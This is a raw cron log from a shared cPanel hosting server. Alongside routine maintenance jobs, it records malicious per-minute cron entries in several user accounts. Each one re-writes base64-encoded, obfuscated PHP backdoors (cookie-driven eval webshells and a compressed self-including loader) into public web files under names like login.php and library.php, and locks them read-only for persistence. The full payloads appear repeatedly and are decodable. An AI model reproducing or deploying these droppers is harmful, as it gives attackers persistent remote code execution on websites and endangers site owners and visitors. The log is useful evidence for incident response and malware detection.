Jun  7 14:16:01 medusa CROND[19284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:16:01 medusa CROND[19285]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:16:01 medusa CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:16:01 medusa CROND[19289]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:16:01 medusa CROND[19290]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:16:01 medusa CROND[19295]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:16:01 medusa CROND[19288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:16:01 medusa CROND[19298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:16:01 medusa CROND[19299]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:16:01 medusa CROND[19292]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:16:01 medusa CROND[19301]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:16:02 medusa CROND[19302]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:16:02 medusa CROND[19297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:16:02 medusa CROND[19312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:17:02 medusa CROND[21035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:17:02 medusa CROND[21036]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:17:02 medusa CROND[21037]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:17:02 medusa CROND[21039]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:17:02 medusa CROND[21040]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:17:02 medusa CROND[21043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:17:02 medusa CROND[21042]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 14:17:02 medusa CROND[21044]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:17:02 medusa CROND[21046]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:17:02 medusa CROND[21048]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:17:02 medusa CROND[21049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:17:02 medusa CROND[21052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:17:02 medusa CROND[21057]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:18:01 medusa CROND[22949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:18:01 medusa CROND[22960]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:18:01 medusa CROND[22964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:18:01 medusa CROND[22965]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:18:01 medusa CROND[22968]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:18:01 medusa CROND[22969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:18:01 medusa CROND[22970]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:18:01 medusa CROND[22971]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
